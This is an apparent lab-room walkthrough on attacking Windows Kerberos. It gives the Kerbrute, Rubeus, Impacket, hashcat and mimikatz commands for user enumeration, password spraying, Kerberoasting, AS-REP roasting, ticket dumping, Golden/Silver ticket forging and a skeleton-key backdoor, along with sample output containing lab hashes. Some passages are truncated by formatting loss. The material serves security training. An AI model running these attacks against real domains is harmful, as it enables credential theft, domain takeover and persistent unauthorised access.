This room will cover the basics of attacking Kerberos – the Windows Ticket-Granting Service!
The room will cover the following:
- Initial enumeration, using tools like Kerbrute and Rubeus
- AS-REP Roasting with Rubeus and Impacket
- Golden / Silver Ticket Attacks
- Pass the Ticket
- Skeleton key attacks using mimikatz
Task 1 – Introduction
What is Kerberos?
Kerberos is the default authentication service for Microsoft Windows domains. It is intended to be more "secure" than NTLM because it uses third party ticket authorization as well as stronger encryption, but unlike NTLM (which has a tonne of attack vectors), Kerberos only has a few… but we can still use these to our advantage!
- Ticket-Granting Ticket (TGT) – A ticket-granting ticket is an authentication ticket used to request service tickets from the TGS for specific resources from the domain.
- Key Distribution Center (KDC) – The Key Distribution Center is a service for issuing TGTs and service tickets that consist of the Authentication Service and the Ticket Granting Service.
- Authentication Service (AS) – The Authentication Service issues TGTs to be used by the TGS in the domain to request access to other machines and service tickets.
- Ticket Granting Service (TGS) – The Ticket Granting Service takes the TGT and returns a ticket to a machine on the domain.
- Service Principal Name (SPN) – A Service Principal Name is an identifier given to a service instance to associate a service instance with a domain service account. Windows requires that services have a domain service account which is why a service needs an SPN set.
- KDC Long Term Secret Key (KDC LT Key) – The KDC key is based on the KRBTGT service account. It is used to encrypt the TGT and sign the PAC.
- Client Long Term Secret Key (Client LT Key) – The client key is based on the computer or service account. It is used to check the encrypted timestamp and encrypt the session key.
- Service Long Term Secret Key (Service LT Key) – The service key is based on the service account. It is used to encrypt the service portion of the service ticket and sign the PAC.
- Session Key – Issued by the KDC when a TGT is issued. The user will provide the session key to the KDC along with the TGT when requesting a service ticket.
- Privilege Attribute Certificate (PAC) – The PAC holds all of the user’s relevant information, it is sent along with the TGT to the KDC to be signed by the Target LT Key and the KDC LT Key in order to validate the user.
AS-REQ with Pre-Authentication – In Detail
The AS-REQ step in Kerberos authentication starts when a client requests a TGT from the KDC. In order for the KDC to validate and create a TGT for the client:
- The client encrypts a timestamp using NT hash and sends it to the AS
- The KDC attempts to decrypt the timestamp using the NT hash from the client.
- If successful the KDC will issue the client a TGT and Session Key.
Ticket-Granting Ticket (TGT) Contents
This is a sample TGT provided by the KDC once the initial request (AS-REQ) is sent by the client to the KDC. It is signed with the Service LT Key and the KDC LT Key. The Session Key is also sent along with this ticket which is used to request a Service Ticket from the KDC.
Service Ticket Contents
A Service Ticket contains two portions: the service provided portion and the client provided portion. These contain:
- Service Portion – contains User Details & Session Key, Encrypts the ticket with the service account NTLM hash.
- User Portion – contains the Validity Timestamp &* Session Key*, Encrypts with the TGT Session Key.
Kerberos Authentication Overview
- (AS-REQ) – The client requests an Authentication Ticket or Ticket-Granting Ticket (TGT)
- (AS-REP) – The Key Distribution Centre (KDC) verifies the client and sends back an encrypted TGT and Session Key
- (TGS-REQ) – The client sends the encrypted TGT to the Ticket Granting Server (TGS) with the Service Principal Name (SPN) of the service the client wants to access.
- (TGS-REP) – The KDC verifies the TGT of the user and that the user has access to the given service, then sends back a valid Session Key for the service to the client.
- (AP-REQ) – The client requests the service and sends the valid Session Key to prove it has access.
- (AP-REP) – The service grants the client access
Kerberos Tickets Overview
The main ticket you will see is a TGT, these can come in various forms, such as
.kirbi for Rubeus or
.ccache for Impacket, with
.kirbi being the most common. A ticket is typically base64 encoded and can be used for various attacks. A normal TGT will only work wit hthat given service account that it is connected to, whereas a KRBTGT will allow you to get any service tick you want, allowing you access to anything on the domain that you want.
Attack Privilege Requirements
- Kerbrute Enumeration – No domain access required
- Pass the Ticket – Access as a user to the domain required
- Kerberoasting – Access as any user required
- AS-REP Roasting – Access as any user required
- Golden Ticket – Full domain compromise (domain admin) required
- Silver Ticket – Service hash required
- Skeleton Key – Full domain compromise (domain admin) required
What does TGT stand for?
What does SPN stand for?
What does PAC stand for?
What two services make up the KDC?
Task 2 – Enumeration w/ Kerbrute
Kerbrute Github – https://github.com/ropnop/kerbrute
Kerbrute is a popular enumeration tool used to brute-force and enumerate valid Active Directory users by abusing the Kerberos pre-authentication.
This task requires us to start up the room’s machine and run the following command on our attack machine (Linux):
kerbrute userenum --dc CONTROLLER.local -d CONTROLLER.local User.txt
NOTE: You MUST add the hostname and IP to your
/etc/hostsfile for Kerbrute to work.
sudo echo "$IP $DOMAIN" >> /etc/hosts
❯ kerbrute userenum --dc CONTROLLER.local -d CONTROLLER.local User.txt __ __ __ / /_____ _____/ /_ _______ __/ /____ / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \ / ,< / __/ / / /_/ / / / /_/ / /_/ __/ /_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/ Version: dev (n/a) - 11/18/21 - Ronnie Flathers @ropnop 2021/11/18 12:48:35 > Using KDC(s): 2021/11/18 12:48:35 > CONTROLLER.local:88 2021/11/18 12:48:36 > [+] VALID USERNAME: admin1@CONTROLLER.local 2021/11/18 12:48:36 > [+] VALID USERNAME: administrator@CONTROLLER.local 2021/11/18 12:48:41 > [+] admin2 has no pre auth required. Dumping hash to crack offline: $krb5asrep$18$admin2@CONTROLLER.LOCAL:a5bab1c34f5cd2a984b0ffd44371249f$6e547ad46dccf6752754e4af95d9c9c7a6831db6cea2adc20a4e4cfe74e8559b8519163856e1f0b19864ca5515a063e994a554e386747530598bcb4a39e97be8b5a67b1645e80a8bd0b73a7dfa9c7dff15ac70363447e90bd984392aed68b078c29b2683826aaf243c7cc09c774b47ff2095c0688df1ffcb550ee1a34631e66ff89ea435b81332f3ab52efaa4e7a1e5d8b5f48550da296ce928679cdffca37c284e64ecc4b2eac6d080d3ff21c8cf15a122f1c420047f173d0f5a457d31bd7486baabf3390b8e33b7c0e8593172c91d655f96fdf90328b6c0672edbfbbba27f353fc8381089f4ef3f674724285377955d2ae61069561fdbc8668c4eca51b162ee9eef88725a00068 2021/11/18 12:48:41 > [+] VALID USERNAME: admin2@CONTROLLER.local 2021/11/18 12:48:41 > [+] VALID USERNAME: httpservice@CONTROLLER.local 2021/11/18 12:48:41 > [+] VALID USERNAME: machine2@CONTROLLER.local 2021/11/18 12:48:41 > [+] VALID USERNAME: machine1@CONTROLLER.local 2021/11/18 12:48:42 > [+] VALID USERNAME: sqlservice@CONTROLLER.local 2021/11/18 12:48:42 > [+] VALID USERNAME: user1@CONTROLLER.local 2021/11/18 12:48:42 > [+] VALID USERNAME: user2@CONTROLLER.local 2021/11/18 12:48:42 > [+] user3 has no pre auth required. Dumping hash to crack offline: $krb5asrep$18$user3@CONTROLLER.LOCAL:06adea8e6c85f70e73238079391125f1$72a711812ab7aa956a5434243fefcdcde5141b3f80addaf1eec61c789cd2c1fcd275c5aed4fdf7d4c9c84594f79c65d0fb984eececee3587c34539bda4ab37f07c8f9084c4eff7a3e88c90eb6f5e992c35b4c5c259746f0def06c56c3855d4bd3b938fdab892e2ffd4f1b0b77a65d9f61eda30c9922cf8103540cbb66ab1daa25992b88c44967cd44905556dab31a6916736777486cef184ad069439268706caabaab5e8a82fdd9a8e9ef0e2d4f0fe6f4d0da3a1b88750c6e91579c995c6f8e412e28ba8f4bdb7c30ff7278af3aec1a23a7313ef1c7aa5b5f0e41954acc15cb1a269d29d450f6ea60a86f1cbe430d81bf034c5b329eefe78aa3bc03b67a9bf9ee971f1c4897ba050 2021/11/18 12:48:42 > [+] VALID USERNAME: user3@CONTROLLER.local 2021/11/18 12:48:43 > Done! Tested 100 usernames (10 valid) in 7.702 seconds
How many total users do we enumerate?
What is the SQL service account name?
What is the second 'machine' account name?
What is the third 'user' account name?
Task 3 – Harvesting & Brute-Forcing Tickets w/ Rubeus
Rubeus Github – https://github.com/GhostPack/Rubeus
Rubeus is a powerful Windows tool for attacking Kerberos. Rubeus is an adaption of the kekeo tool and developed by Harmj0y, the very-well-known Active Directory guru.
Rubeus has a vast array of attacks and features that make it a very versatile tool for attacking Kerberos. Just some of the many tools and attacks that are included are:
- ticket requests and renewals
- ticket management
- ticket extraction
- pass the ticket
- AS-REP roasting
Rubeus.exe harvest /interval:30– This command tells Rubeus to harvest for TGTs every 30 seconds.
Brute-Forcing / Pasword-Spraying
Rubeus.exe brute /password:Password1 /noticket– This will take a given password ("Password1") and "spray" it against all found users, then give the
.kirbiTGT for that user.
NOTE: Before Password-Spraying with Rubeus, you must add the domain controller domain name to the Windows
hostfile. You can add the IP and domain name using the following "echo" command:
echo <IP_ADDRESS> <DOMAIN_NAME> >> C:\Windows\System32\drivers\etc\hosts
Which domain admin do we get a ticket for when harvesting tickets?
Which domain controller do we get a ticket for when harvesting tickets?
Task 4 – Kerberoasting w/ Rubeus & Impacket
Kerberoasting is one of the most popular attacks. Kerberoasting allows a user to request a service ticket for any service with a registered SPN then use that ticket to crack the service password.
If the service has a registered SPN then it can be kerberoastable, however the strength of the password on the account can limit results.
To enumerate Kerberoastable accounts I would suggest using a tool like Bloodhound, it will let you see what kind of accounts you can Kerberoast if they are domain admins, and what kind of connections they have to the rest of the domain.
Kerberoasting w/ Rubeus
Rubeus kerberoast– This will dump the Kerberos hash of any Kerberoastable users
/outfile:hash.txtto dump the results to a file named
Kerberoasting w/ Impacket
sudo python3 GetUserSPNs.py <domain_name>/<domain_user>:<domain_user_password> -dc-ip <target_ip> -request -outputfile <hash_filename>– This will dump the Kerberos hashes much like Rubeus, but unlike Rubues (which only runs locally on the target machine), Impacket can be used remotely.
GetUserSPNs.pyis stored in the
examples/folder of Impacket
Cracking the hashes!
- hashcat –
hashcat -m 13100 -a 0 <hash_filename> <password_list>
- JohnTheRipper –
john <hash_filename> --format=krb5tgs --wordlist=<password_list>
NOTE: John doesn’t like the format that Rubeus uses, so Impacket is the only way to crack via John if unable to use hashcat
What Can a Service Account do?
After cracking a Service Account password there are various ways of exfiltrating data or collecting loot depending on whether the Service Account is a Domain Admin or not.
- If the Service Account IS a Domain Admin you have control similar to that of a Golden / Silver Ticket and can now gather loot such as dumping the NTDS.dit.
- If the Service Account is NOT a Domain Admin you can use it to log into other systems and pivot or escalate, or alternatively you can use the cracked password to spray against other Service and Domain Accounts; many companies may reuse the same or similar passwords on their service or domain admin users.
NOTE: If you are in a professional pentest be aware of how the company wants you to show risk, most of the time they don’t want you to exfiltrate data and will set a goal or process for you to get in order to show risk inside of the assessment.
- Strong Service Passwords – If the Service Account passwords are strong, then Kerberoasting will be a lot more difficult (if not impossible).
- Don’t make Service Accounts Domain Admins – Service Accounts do not need to be Domain Admins, Kerberoasting won’t be as effective if you stick to this rule.
What is the HTTPService Password?
What is the SQLService Password?
Task 5 – AS-REP Roasting
Very similar to Kerberoasting, AS-REP Roasting dumps the krbaspre5 hashes of any user accounts known that have Kerberos pre-authentication disabled.
This task uses Rubeus and hashcat to dump the passwords and crack them, below that I have also included methods to use Impacket and JohnTheRipper (jumbo versions only – they are the only versions that have krb5 hash types) to crack the hash.
AS-REP Roasting w/ Rubeus
Rubeus asreproast– This will dump the vulnerable user hashes
- optionally, you can include
/format:<[hashcat | john]>to specify the format you wish to dump the output in
- optionally, you can include
AS-REP Roasting w/ Impacket
python GetNPUsers.py <domain_name>/<domain_user>:<domain_user_password> -dc-ip <target_ip> -request -format <[hashcat | john]> -outputfile hash.txt
- optionally, you can include
-usersfile User.txtand remove the
<domain_user>:<domain_user_pass>if you don’t have any credentials
- optionally, you can include
Cracking the hashes!
- hashcat –
hashcat -m 18200 -a 0 hash.txt Pass.txt
john hash.txt --wordlist=Pass.txt(it will autodetect krb5asrep)
John doesn’t like the format that Rubeus uses, so Impacket is the only way to crack via John if unable to use hashcat
ASP-REP Roasting Mitigation
- Strong Passwords – as with Kerberoasting, strong passwords make this attack much less effective.
- Don’t turn off Kerberos Pre-Authentication – disabling Kerberos Pre-Authentication is the main vulnerability that this method takes advantage of… without Kerberos Pre-Authentication disabled this method is useless.
What hash type does AS-REP Roasting use?
Which User is vulnerable to AS-REP Roasting?
What is the User's Password?
Which Admin is vulnerable to AS-REP Roasting?
What is the Admin's Password?
Task 6 – Pass the Ticket w/ mimikatz
Mimikatz is a very popular and powerful post-exploitation tool most commonly used for dumping user credentials inside of an Active Directory network. In this task we will be using mimikatz to dump a TGT from LSASS memory for a Pass the Ticket attack.
Pass the Ticket
Pass the Ticket (PTT) works by dumping the TGT from the LSASS memory of the machine. The Local Security Authority Subsystem Service (LSASS) is a Windows process (
lsass.exe) that stores credentials in memory on an Active Directory server, and can store Kerberos tickets along with other credential types to act as the gatekeeper and accept or reject the credentials provided.
You can dump the Kerberos tickets from LSASS memory just like you can dump hashes. When you dump the tickets with mimikatz it will give us a
.kirbi ticket which be used to gain Domain Admin, if a Domain Admin ticket is currently in the LSASS memory.
This attack is great for privilege escalation and lateral movement if there are unsecured domain services account tickets laying around. The attack allows you to escalate to Domain Admin if you dump a Domain Admin’s ticket and then impersonate that ticket using mimikatz PTT attack, allowing you "act" as that Domain Admin.
You can think of a PTT attack like reusing an existing ticket, we are not creating or destroying any tickets here, we are simply reusing an existing ticket from another user on the domain and impersonating that ticket.
Pass the Ticket w/ mimikatz
mimikatz.exeto start mimikatz
- before stating, run
privilege::debug– if it outputs
Privilege '20' OKthen you have the necessary privileges to do the attack.
sekurlsa::tickets /export– this will dump all
.kirbitickets it can find in memory into the current working directory in a base64 encoded format.
- check the dumped files, preferrably looking for an "Administrator" account from "krbtgt" (
Administrator@krbtgt) – these are most likely Domain Admin account.
kerberos:ptt <kirbi_file>– this will cache and impersonate the
.kirbiticket you have provided.
when you have quit
mimikatz, use the command
klistto check your currently cached tickets… you should see the one you selected at the top of the list.
Pass the Ticket Mitigation
- Don’t let your Domain Admins log into any other machine besides the Domain Controller – This is something so simple, but unfortunately abused on a lot of Active Directory networks.
Task 7 – Golden/Silver Ticket Attacks w/ mimikatz
In this task, we will be using mimikatz to create a Silver Ticket.
Silver Tickets vs. Golden Tickets
A Silver Ticket can sometimes be better used in engagements rather than a Golden Ticket because it is a little more discreet. If stealth and staying undetected matter than a Silver Ticket is probably a better option than a Golden Ticket, however creating one is the exact same. The key difference between the two tickets is that a Silver Ticket is limited to the service that it is targeted at, whereas a Golden Ticket has access to everything.
A specific use scenario for a Silver Ticket would be that you want to access the domain’s SQL server, however your currently compromised user does not have access to that server. You can find an accessible service account to get a foothold with by Kerberoasting that service, you can then dump the service hash and then impersonate their TGT in order to request a service ticket for the SQL service from the KDC, allowing you access to the domain’s SQL server.
In order to fully understand how these attacks work, you need to first understand the difference between a KRBTGT and a TGT. A KRBTGT is the service account for the KDC, the same service that issues all of the tickets to the clients. If you impersonate this account and create a Golden Ticket from the KRBTGT, you give yourself the ability to create a service ticket for anything you want. A TGT is a ticket to a service account issued by the KDC, and can only access that service the TGT is for.
Golden / Silver Ticket Attack
A Silver Ticket attack works by dumping the TGT of any user on the domain (this would preferably be a Domain Admin), however for a Golden Ticket you would need to dump the KRBTGT ticket. This will provide you with the service / domain admin account’s Security Identifier (SID), which is a unique identifier for each user account. You will also get the users NTLM hash. You then use these details in mimikatz to craft the relevant ticket to impersonate a domain / service admin.
Golden Ticket w/ mimikatz
mimikatz.exeto start mimikatz
privilege::debug– ensure this outputs
Privilege '20' ok
lsadump::lsa /inject /name:krbtgt– This will dump the hash as well as the security identifier needed to create a Golden Ticket.
kerberos::golden /user:<User> /domain:<Domain> /sid:<SID> /krbtgt:<NTLM_Hash> /id:<User_ID> /ptt– This is the command for creating a Golden Ticket. You need to replace the
<Domain>with the user and domain details for the current AD setup, replace
<SID>with the string starting with
S-1-5...in the previous screenshot, replace
<NTLM_Hash>with the value next to
* Primaryin the above screenshot, and finally replace the
<User_ID>with the number in brackets after
mimikatz # kerberos::golden /user:Administrator /domain:CONTROLLER.local /sid:S-1-5-21-432953485-3795405108-1502158860 /krbtgt:72cd714611b64cd4d5550cd2759db3f6 /id:502 User : Administrator Domain : CONTROLLER.local (CONTROLLER) SID : S-1-5-21-432953485-3795405108-1502158860 User Id : 502 Groups Id : *513 512 520 518 519 ServiceKey: 72cd714611b64cd4d5550cd2759db3f6 - rc4_hmac_nt Lifetime : 11/19/2021 10:01:10 PM ; 11/17/2031 10:01:10 PM ; 11/17/2031 10:01:10 PM -> Ticket : ** Pass The Ticket ** * PAC generated * PAC signed * EncTicketPart generated * EncTicketPart encrypted * KrbCred generated Golden ticket for 'Administrator @ CONTROLLER.local' successfully submitted for current session
/pttswitch will automatically use Pass the Ticket to enable the new credentials, so you don’t need to do anything else – you can also leave this off and then run
cmd.exewith the new credentials.
- quit out of mimikatz and use the command
klistto check the currently impersonated ticket.
Silver Ticket w/ mimikatz
- the initial steps are the same as a Golden Ticket, however instead of
SQLServiceas an example.
- to generate the Silver Ticket, we use an almost identical command as a Golden Ticket (we even use
kerberos::golden, even though we are generating a Silver Ticket) – the only difference is instead of
/rc4:in front of the NTLM hash:
kerberos::golden /user:<User> /domain:<Domain> /sid:<SID> /rc4:<NTLM_Hash> /id:<User_ID> /ptt
controller\administrator@CONTROLLER-1 C:\Users\Administrator\Downloads>klist Current LogonId is 0:0x29bfce Cached Tickets: (1) #0> Client: SQLService @ CONTROLLER.local Server: krbtgt/CONTROLLER.local @ CONTROLLER.local KerbTicket Encryption Type: RSADSI RC4-HMAC(NT) Ticket Flags 0x40e00000 -> forwardable renewable initial pre_authent Start Time: 11/19/2021 22:28:35 (local) End Time: 11/17/2031 22:28:35 (local) Renew Time: 11/17/2031 22:28:35 (local) Session Key Type: RSADSI RC4-HMAC(NT) Cache Flags: 0x1 -> PRIMARY Kdc Called:
What is the SQLService NTLM Hash?
What is the Administrator NTLM Hash?
Task 8 – Kerberos Backdoors w/ mimikatz
Along with maintaining access using Golden and Silver Tickets, mimikatz has one other very useful trick up it’s sleeve when it comes to attacking Kerberos. Unlike the Golden and Silver Ticket attacks, a Kerberos backdoor is much more subtle because it acts similar to a rootkit by implanting itself into the memory of the domain forest, allowing itself access to any of the machines with one master password.
The Kerberos backdoor works by implanting a "skeleton key" that abuses the way that AS-REQ validates encrypted timestamps. A skeleton key only works using Kerberos RC4 encryption.
The default hash for a mimikatz skeleton key is 60BA4FCADC466C7A033C178194C03DF6 which makes the password "
The skeleton key attack works by abusing the AS-REQ encrypted timestamps. Usually the timestamp is encrypted with the user’s NT hash, and the Domain Controller tries to decrypt this timestamp with the same user’s NT hash. However; when the skeleton key is implanted the Domain Controller tries to decrypt the timestamp with both the user’s NT hash and the skeleton key’s NT hash… therefore allowing you to acces anything with the master password
Skeleton Key w/ mimikatz
mimikatzand check the
Privilege '20' OKto ensure you will be able to implant the skeleton key.
misc::skeleton– yes, thats it! 😉